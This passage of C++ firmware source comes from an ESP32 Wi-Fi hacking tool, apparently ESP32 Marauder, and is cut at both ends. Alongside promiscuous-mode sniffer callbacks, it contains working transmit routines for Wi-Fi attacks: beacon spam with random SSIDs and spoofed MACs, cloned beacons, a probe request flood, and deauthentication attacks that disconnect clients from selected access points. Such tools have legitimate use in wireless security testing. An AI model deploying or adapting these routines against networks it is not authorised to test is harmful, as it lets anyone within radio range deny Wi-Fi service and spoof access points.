  1314. ap.bssid[1] = snifferPacket->payload[11];
  1315. ap.bssid[2] = snifferPacket->payload[12];
  1316. ap.bssid[3] = snifferPacket->payload[13];
  1317. ap.bssid[4] = snifferPacket->payload[14];
  1318. ap.bssid[5] = snifferPacket->payload[15];
  1319. ap.selected = false;
  1320. ap.beacon = new LinkedList<char>();
  1321. //for (int i = 0; i < len; i++) {
  1322. // ap.beacon->add(snifferPacket->payload[i]);
  1323. //}
  1324. ap.beacon->add(snifferPacket->payload[34]);
  1325. ap.beacon->add(snifferPacket->payload[35]);
  1326. Serial.print("\nBeacon: ");
  1327. for (int i = 0; i < ap.beacon->size(); i++) {
  1328. char hexCar[4];
  1329. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1330. Serial.print(hexCar);
  1331. if ((i + 1) % 16 == 0)
  1332. Serial.print("\n");
  1333. else
  1334. Serial.print(" ");
  1335. }
  1336. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1337. access_points->add(ap);
  1338. Serial.print(access_points->size());
  1339. Serial.println();
  1340. if (save_packet)
  1341. sd_obj.addPacket(snifferPacket->payload, len);
  1342. }
  1343. }
  1344. }
  1345. }
  1346. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1347. {
  1348. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1349. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1350. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1351. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1352. int len = snifferPacket->rx_ctrl.sig_len;
  1353. String display_string = "";
  1354. String essid = "";
  1355. String bssid = "";
  1356. if (type == WIFI_PKT_MGMT)
  1357. {
  1358. len -= 4;
  1359. int fctl = ntohs(frameControl->fctl);
  1360. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1361. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1362. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1363. #ifdef HAS_SCREEN
  1364. int buf = display_obj.display_buffer->size();
  1365. #else
  1366. int buf = 0;
  1367. #endif
  1368. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1369. {
  1370. char addr[] = "00:00:00:00:00:00";
  1371. getMAC(addr, snifferPacket->payload, 10);
  1372. bool in_list = false;
  1373. bool mac_match = true;
  1374. for (int i = 0; i < access_points->size(); i++) {
  1375. mac_match = true;
  1376. //Serial.print("Checking ");
  1377. //Serial.print(addr);
  1378. //Serial.println(" against " + (String)access_points->get(i).essid);
  1379. for (int x = 0; x < 6; x++) {
  1380. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1381. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1382. mac_match = false;
  1383. //Serial.println("MACs do not match");
  1384. break;
  1385. }
  1386. }
  1387. if (mac_match) {
  1388. in_list = true;
  1389. break;
  1390. }
  1391. }
  1392. if (!in_list) {
  1393. delay(random(0, 10));
  1394. Serial.print("RSSI: ");
  1395. Serial.print(snifferPacket->rx_ctrl.rssi);
  1396. Serial.print(" Ch: ");
  1397. Serial.print(snifferPacket->rx_ctrl.channel);
  1398. Serial.print(" BSSID: ");
  1399. Serial.print(addr);
  1400. display_string.concat(addr);
  1401. Serial.print(" ESSID: ");
  1402. display_string.concat(" -> ");
  1403. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1404. {
  1405. Serial.print((char)snifferPacket->payload[i + 38]);
  1406. display_string.concat((char)snifferPacket->payload[i + 38]);
  1407. essid.concat((char)snifferPacket->payload[i + 38]);
  1408. }
  1409. bssid.concat(addr);
  1410. int temp_len = display_string.length();
  1411. for (int i = 0; i < 40 - temp_len; i++)
  1412. {
  1413. display_string.concat(" ");
  1414. }
  1415. Serial.print(" ");
  1416. #ifdef HAS_SCREEN
  1417. if (display_obj.display_buffer->size() == 0)
  1418. {
  1419. display_obj.loading = true;
  1420. display_obj.display_buffer->add(display_string);
  1421. display_obj.loading = false;
  1422. }
  1423. #endif
  1424. if (essid == "") {
  1425. essid = bssid;
  1426. Serial.print(essid + " ");
  1427. }
  1428. AccessPoint ap = {essid,
  1429. snifferPacket->rx_ctrl.channel,
  1430. {snifferPacket->payload[10],
  1431. snifferPacket->payload[11],
  1432. snifferPacket->payload[12],
  1433. snifferPacket->payload[13],
  1434. snifferPacket->payload[14],
  1435. snifferPacket->payload[15]},
  1436. false,
  1437. NULL,
  1438. snifferPacket->rx_ctrl.rssi};
  1439. access_points->add(ap);
  1440. Serial.print(access_points->size());
  1441. Serial.println();
  1442. if (save_packet)
  1443. sd_obj.addPacket(snifferPacket->payload, len);
  1444. }
  1445. }
  1446. }
  1447. }
  1448. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1449. {
  1450. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1451. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1452. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1453. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1454. int len = snifferPacket->rx_ctrl.sig_len;
  1455. String display_string = "";
  1456. if (type == WIFI_PKT_MGMT)
  1457. {
  1458. len -= 4;
  1459. int fctl = ntohs(frameControl->fctl);
  1460. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1461. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1462. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1463. #ifdef HAS_SCREEN
  1464. int buf = display_obj.display_buffer->size();
  1465. #else
  1466. int buf = 0;
  1467. #endif
  1468. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1469. {
  1470. delay(random(0, 10));
  1471. Serial.print("RSSI: ");
  1472. Serial.print(snifferPacket->rx_ctrl.rssi);
  1473. Serial.print(" Ch: ");
  1474. Serial.print(snifferPacket->rx_ctrl.channel);
  1475. Serial.print(" BSSID: ");
  1476. char addr[] = "00:00:00:00:00:00";
  1477. getMAC(addr, snifferPacket->payload, 10);
  1478. Serial.print(addr);
  1479. display_string.concat(addr);
  1480. Serial.print(" ESSID: ");
  1481. display_string.concat(" -> ");
  1482. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1483. {
  1484. Serial.print((char)snifferPacket->payload[i + 38]);
  1485. display_string.concat((char)snifferPacket->payload[i + 38]);
  1486. }
  1487. int temp_len = display_string.length();
  1488. #ifdef HAS_SCREEN
  1489. for (int i = 0; i < 40 - temp_len; i++)
  1490. {
  1491. display_string.concat(" ");
  1492. }
  1493. Serial.print(" ");
  1494. if (display_obj.display_buffer->size() == 0)
  1495. {
  1496. display_obj.loading = true;
  1497. display_obj.display_buffer->add(display_string);
  1498. display_obj.loading = false;
  1499. }
  1500. #endif
  1501. Serial.println();
  1502. if (save_packet)
  1503. sd_obj.addPacket(snifferPacket->payload, len);
  1504. }
  1505. }
  1506. }
  1507. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1508. {
  1509. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1510. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1511. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1512. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1513. int len = snifferPacket->rx_ctrl.sig_len;
  1514. String display_string = "";
  1515. if (type == WIFI_PKT_MGMT)
  1516. {
  1517. len -= 4;
  1518. int fctl = ntohs(frameControl->fctl);
  1519. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1520. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1521. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1522. #ifdef HAS_SCREEN
  1523. int buf = display_obj.display_buffer->size();
  1524. #else
  1525. int buf = 0;
  1526. #endif
  1527. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1528. {
  1529. delay(random(0, 10));
  1530. Serial.print("RSSI: ");
  1531. Serial.print(snifferPacket->rx_ctrl.rssi);
  1532. Serial.print(" Ch: ");
  1533. Serial.print(snifferPacket->rx_ctrl.channel);
  1534. Serial.print(" BSSID: ");
  1535. char addr[] = "00:00:00:00:00:00";
  1536. getMAC(addr, snifferPacket->payload, 10);
  1537. Serial.print(addr);
  1538. display_string.concat(text_table4[0]);
  1539. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1540. display_string.concat(" ");
  1541. display_string.concat(addr);
  1542. #ifdef HAS_SCREEN
  1543. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1544. {
  1545. display_string.concat(" ");
  1546. }
  1547. Serial.print(" ");
  1548. if (display_obj.display_buffer->size() == 0)
  1549. {
  1550. display_obj.loading = true;
  1551. display_obj.display_buffer->add(display_string);
  1552. display_obj.loading = false;
  1553. }
  1554. #endif
  1555. Serial.println();
  1556. if (save_packet)
  1557. sd_obj.addPacket(snifferPacket->payload, len);
  1558. }
  1559. }
  1560. }
  1561. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1562. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1563. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1564. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1565. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1566. int len = snifferPacket->rx_ctrl.sig_len;
  1567. String display_string = "";
  1568. if (type == WIFI_PKT_MGMT)
  1569. {
  1570. len -= 4;
  1571. int fctl = ntohs(frameControl->fctl);
  1572. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1573. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1574. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1575. #ifdef HAS_SCREEN
  1576. int buf = display_obj.display_buffer->size();
  1577. #else
  1578. int buf = 0;
  1579. #endif
  1580. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1581. {
  1582. delay(random(0, 10));
  1583. Serial.print("RSSI: ");
  1584. Serial.print(snifferPacket->rx_ctrl.rssi);
  1585. Serial.print(" Ch: ");
  1586. Serial.print(snifferPacket->rx_ctrl.channel);
  1587. Serial.print(" Client: ");
  1588. char addr[] = "00:00:00:00:00:00";
  1589. getMAC(addr, snifferPacket->payload, 10);
  1590. Serial.print(addr);
  1591. display_string.concat(addr);
  1592. Serial.print(" Requesting: ");
  1593. display_string.concat(" -> ");
  1594. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1595. {
  1596. Serial.print((char)snifferPacket->payload[26 + i]);
  1597. display_string.concat((char)snifferPacket->payload[26 + i]);
  1598. }
  1599. // Print spaces because of the rotating lines of the hardware scroll.
  1600. // The same characters print from previous lines so I just overwrite them
  1601. // with spaces.
  1602. #ifdef HAS_SCREEN
  1603. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1604. {
  1605. display_string.concat(" ");
  1606. }
  1607. if (display_obj.display_buffer->size() == 0)
  1608. {
  1609. //while (display_obj.printing)
  1610. // delay(1);
  1611. display_obj.loading = true;
  1612. display_obj.display_buffer->add(display_string);
  1613. display_obj.loading = false;
  1614. }
  1615. #endif
  1616. Serial.println();
  1617. if (save_packet)
  1618. sd_obj.addPacket(snifferPacket->payload, len);
  1619. }
  1620. }
  1621. }
  1622. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1623. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1624. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1625. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1626. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1627. int len = snifferPacket->rx_ctrl.sig_len;
  1628. String display_string = "";
  1629. String essid = "";
  1630. bool found = false;
  1631. if (type == WIFI_PKT_MGMT)
  1632. {
  1633. len -= 4;
  1634. int fctl = ntohs(frameControl->fctl);
  1635. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1636. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1637. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1638. #ifdef HAS_SCREEN
  1639. int buf = display_obj.display_buffer->size();
  1640. #else
  1641. int buf = 0;
  1642. #endif
  1643. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1644. {
  1645. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1646. {
  1647. essid.concat((char)snifferPacket->payload[26 + i]);
  1648. }
  1649. for (int i = 0; i < ssids->size(); i++) {
  1650. if (ssids->get(i).essid == essid) {
  1651. Serial.println("Found a sheep");
  1652. found = true;
  1653. break;
  1654. }
  1655. }
  1656. if (!found)
  1657. return;
  1658. delay(random(0, 10));
  1659. Serial.print("RSSI: ");
  1660. Serial.print(snifferPacket->rx_ctrl.rssi);
  1661. Serial.print(" Ch: ");
  1662. Serial.print(snifferPacket->rx_ctrl.channel);
  1663. Serial.print(" Client: ");
  1664. char addr[] = "00:00:00:00:00:00";
  1665. getMAC(addr, snifferPacket->payload, 10);
  1666. Serial.print(addr);
  1667. display_string.concat(addr);
  1668. Serial.print(" Requesting: ");
  1669. display_string.concat(" -> ");
  1670. // ESSID
  1671. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1672. {
  1673. Serial.print((char)snifferPacket->payload[26 + i]);
  1674. display_string.concat((char)snifferPacket->payload[26 + i]);
  1675. }
  1676. // Print spaces because of the rotating lines of the hardware scroll.
  1677. // The same characters print from previous lines so I just overwrite them
  1678. // with spaces.
  1679. #ifdef HAS_SCREEN
  1680. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1681. {
  1682. display_string.concat(" ");
  1683. }
  1684. if (display_obj.display_buffer->size() == 0)
  1685. {
  1686. display_obj.loading = true;
  1687. display_obj.display_buffer->add(display_string);
  1688. display_obj.loading = false;
  1689. }
  1690. #endif
  1691. Serial.println();
  1692. if (save_packet)
  1693. sd_obj.addPacket(snifferPacket->payload, len);
  1694. }
  1695. }
  1696. }
  1697. /*
  1698. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1699. set_channel = random(1,12);
  1700. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1701. delay(1);
  1702. // Randomize SRC MAC
  1703. packet[10] = packet[16] = custom_ssid.bssid[0];
  1704. packet[11] = packet[17] = custom_ssid.bssid[1];
  1705. packet[12] = packet[18] = custom_ssid.bssid[2];
  1706. packet[13] = packet[19] = custom_ssid.bssid[3];
  1707. packet[14] = packet[20] = custom_ssid.bssid[4];
  1708. packet[15] = packet[21] = custom_ssid.bssid[5];
  1709. char ESSID[custom_ssid.essid.length() + 1] = {};
  1710. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1711. }*/
  1712. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1713. set_channel = random(1,12);
  1714. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1715. delay(1);
  1716. if (custom_ssid.beacon->size() == 0)
  1717. return;
  1718. // Randomize SRC MAC
  1719. // Randomize SRC MAC
  1720. packet[10] = packet[16] = random(256);
  1721. packet[11] = packet[17] = random(256);
  1722. packet[12] = packet[18] = random(256);
  1723. packet[13] = packet[19] = random(256);
  1724. packet[14] = packet[20] = random(256);
  1725. packet[15] = packet[21] = random(256);
  1726. char ESSID[custom_ssid.essid.length() + 1] = {};
  1727. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1728. int realLen = strlen(ESSID);
  1729. int ssidLen = random(realLen, 33);
  1730. int numSpace = ssidLen - realLen;
  1731. //int rand_len = sizeof(rand_reg);
  1732. int fullLen = ssidLen;
  1733. packet[37] = fullLen;
  1734. // Insert my tag
  1735. for(int i = 0; i < realLen; i++)
  1736. packet[38 + i] = ESSID[i];
  1737. for(int i = 0; i < numSpace; i++)
  1738. packet[38 + realLen + i] = 0x20;
  1739. /////////////////////////////
  1740. packet[50 + fullLen] = set_channel;
  1741. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1742. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1743. // Add everything that goes after the SSID
  1744. //for(int i = 0; i < 12; i++)
  1745. // packet[38 + fullLen + i] = postSSID[i];
  1746. packet[34] = custom_ssid.beacon->get(0);
  1747. packet[35] = custom_ssid.beacon->get(1);
  1748. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1749. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1750. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1751. packets_sent = packets_sent + 3;
  1752. }
  1753. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1754. set_channel = random(1,12);
  1755. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1756. delay(1);
  1757. // Randomize SRC MAC
  1758. packet[10] = packet[16] = custom_ssid.bssid[0];
  1759. packet[11] = packet[17] = custom_ssid.bssid[1];
  1760. packet[12] = packet[18] = custom_ssid.bssid[2];
  1761. packet[13] = packet[19] = custom_ssid.bssid[3];
  1762. packet[14] = packet[20] = custom_ssid.bssid[4];
  1763. packet[15] = packet[21] = custom_ssid.bssid[5];
  1764. char ESSID[custom_ssid.essid.length() + 1] = {};
  1765. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1766. int ssidLen = strlen(ESSID);
  1767. //int rand_len = sizeof(rand_reg);
  1768. int fullLen = ssidLen;
  1769. packet[37] = fullLen;
  1770. // Insert my tag
  1771. for(int i = 0; i < ssidLen; i++)
  1772. packet[38 + i] = ESSID[i];
  1773. /////////////////////////////
  1774. packet[50 + fullLen] = set_channel;
  1775. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1776. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1777. // Add everything that goes after the SSID
  1778. for(int i = 0; i < 12; i++)
  1779. packet[38 + fullLen + i] = postSSID[i];
  1780. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1781. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1782. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1783. packets_sent = packets_sent + 3;
  1784. }
  1785. // Function to send beacons with random ESSID length
  1786. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1787. set_channel = random(1,12);
  1788. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1789. delay(1);
  1790. // Randomize SRC MAC
  1791. packet[10] = packet[16] = random(256);
  1792. packet[11] = packet[17] = random(256);
  1793. packet[12] = packet[18] = random(256);
  1794. packet[13] = packet[19] = random(256);
  1795. packet[14] = packet[20] = random(256);
  1796. packet[15] = packet[21] = random(256);
  1797. int ssidLen = strlen(ESSID);
  1798. //int rand_len = sizeof(rand_reg);
  1799. int fullLen = ssidLen;
  1800. packet[37] = fullLen;
  1801. // Insert my tag
  1802. for(int i = 0; i < ssidLen; i++)
  1803. packet[38 + i] = ESSID[i];
  1804. /////////////////////////////
  1805. packet[50 + fullLen] = set_channel;
  1806. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1807. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1808. // Add everything that goes after the SSID
  1809. for(int i = 0; i < 12; i++)
  1810. packet[38 + fullLen + i] = postSSID[i];
  1811. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1812. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1813. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1814. packets_sent = packets_sent + 3;
  1815. }
  1816. // Function for sending crafted beacon frames
  1817. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1818. set_channel = random(1,12);
  1819. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1820. delay(1);
  1821. // Randomize SRC MAC
  1822. packet[10] = packet[16] = random(256);
  1823. packet[11] = packet[17] = random(256);
  1824. packet[12] = packet[18] = random(256);
  1825. packet[13] = packet[19] = random(256);
  1826. packet[14] = packet[20] = random(256);
  1827. packet[15] = packet[21] = random(256);
  1828. packet[37] = 6;
  1829. // Randomize SSID (Fixed size 6. Lazy right?)
  1830. packet[38] = alfa[random(65)];
  1831. packet[39] = alfa[random(65)];
  1832. packet[40] = alfa[random(65)];
  1833. packet[41] = alfa[random(65)];
  1834. packet[42] = alfa[random(65)];
  1835. packet[43] = alfa[random(65)];
  1836. packet[56] = set_channel;
  1837. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1838. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1839. // Add everything that goes after the SSID
  1840. for(int i = 0; i < 12; i++)
  1841. packet[38 + 6 + i] = postSSID[i];
  1842. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1843. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1844. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1845. packets_sent = packets_sent + 3;
  1846. }
  1847. // Function to send probe flood to all "active" access points
  1848. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1849. // Itterate through all access points in list
  1850. for (int i = 0; i < access_points->size(); i++) {
  1851. // Check if active
  1852. if (access_points->get(i).selected) {
  1853. this->set_channel = access_points->get(i).channel;
  1854. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1855. delay(1);
  1856. // Build packet
  1857. // Randomize SRC MAC
  1858. prob_req_packet[10] = random(256);
  1859. prob_req_packet[11] = random(256);
  1860. prob_req_packet[12] = random(256);
  1861. prob_req_packet[13] = random(256);
  1862. prob_req_packet[14] = random(256);
  1863. prob_req_packet[15] = random(256);
  1864. // Set SSID length
  1865. int ssidLen = access_points->get(i).essid.length();
  1866. //int rand_len = sizeof(rand_reg);
  1867. int fullLen = ssidLen;
  1868. prob_req_packet[25] = fullLen;
  1869. // Insert ESSID
  1870. char buf[access_points->get(i).essid.length() + 1] = {};
  1871. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1872. for(int i = 0; i < ssidLen; i++)
  1873. prob_req_packet[26 + i] = buf[i];
  1874. /*
  1875. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1876. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1877. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1878. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1879. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1880. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1881. 0x00, 0x00
  1882. */
  1883. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1884. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1885. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1886. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1887. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1888. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1889. 0x00, 0x00, 0x00, 0x00};
  1890. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1891. for (int i = 0; i < 26 + fullLen; i++)
  1892. good_probe_req_packet[i] = prob_req_packet[i];
  1893. for(int i = 0; i < 40; i++)
  1894. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1895. // Send packet
  1896. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1897. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1898. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1899. packets_sent = packets_sent + 3;
  1900. }
  1901. }
  1902. }
  1903. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1904. // Itterate through all access points in list
  1905. // Check if active
  1906. WiFiScan::set_channel = channel;
  1907. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1908. delay(1);
  1909. // Build packet
  1910. deauth_frame_default[10] = bssid[0];
  1911. deauth_frame_default[11] = bssid[1];
  1912. deauth_frame_default[12] = bssid[2];
  1913. deauth_frame_default[13] = bssid[3];
  1914. deauth_frame_default[14] = bssid[4];
  1915. deauth_frame_default[15] = bssid[5];
  1916. deauth_frame_default[16] = bssid[0];
  1917. deauth_frame_default[17] = bssid[1];
  1918. deauth_frame_default[18] = bssid[2];
  1919. deauth_frame_default[19] = bssid[3];
  1920. deauth_frame_default[20] = bssid[4];
  1921. deauth_frame_default[21] = bssid[5];
  1922. // Send packet
  1923. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1924. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1925. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1926. packets_sent = packets_sent + 3;
  1927. }
  1928. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1929. // Itterate through all access points in list
  1930. for (int i = 0; i < access_points->size(); i++) {
  1931. // Check if active
  1932. if (access_points->get(i).selected) {
  1933. this->set_channel = access_points->get(i).channel;
  1934. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1935. delay(1);
  1936. // Build packet
  1937. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1938. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1939. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1940. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1941. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1942. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1943. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1944. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1945. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1946. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1947. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1948. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1949. // Send packet
  1950. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1951. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1952. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1953. packets_sent = packets_sent + 3;
  1954. }
  1955. }
  1956. }
  1957. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1958. {
  1959. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1960. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1961. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1962. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1963. int len = snifferPacket->rx_ctrl.sig_len;
  1964. String display_string = "";
  1965. #ifdef HAS_SCREEN
  1966. int buff = display_obj.display_buffer->size();
  1967. #else
  1968. int buff = 0;
  1969. #endif
  1970. if (type == WIFI_PKT_MGMT)
  1971. {
  1972. len -= 4;
  1973. int fctl = ntohs(frameControl->fctl);
  1974. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1975. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1976. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1977. #ifndef MARAUDER_MINI
  1978. if (snifferPacket->payload[0] == 0x80)
  1979. {
  1980. num_beacon++;
  1981. }
  1982. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1983. {
  1984. num_deauth++;
  1985. }
  1986. else if (snifferPacket->payload[0] == 0x40)
  1987. {
  1988. num_probe++;
  1989. }
  1990. #endif
  1991. char addr[] = "00:00:00:00:00:00";
  1992. getMAC(addr, snifferPacket->payload, 10);
  1993. display_string.concat(addr);
  1994. int temp_len = display_string.length();
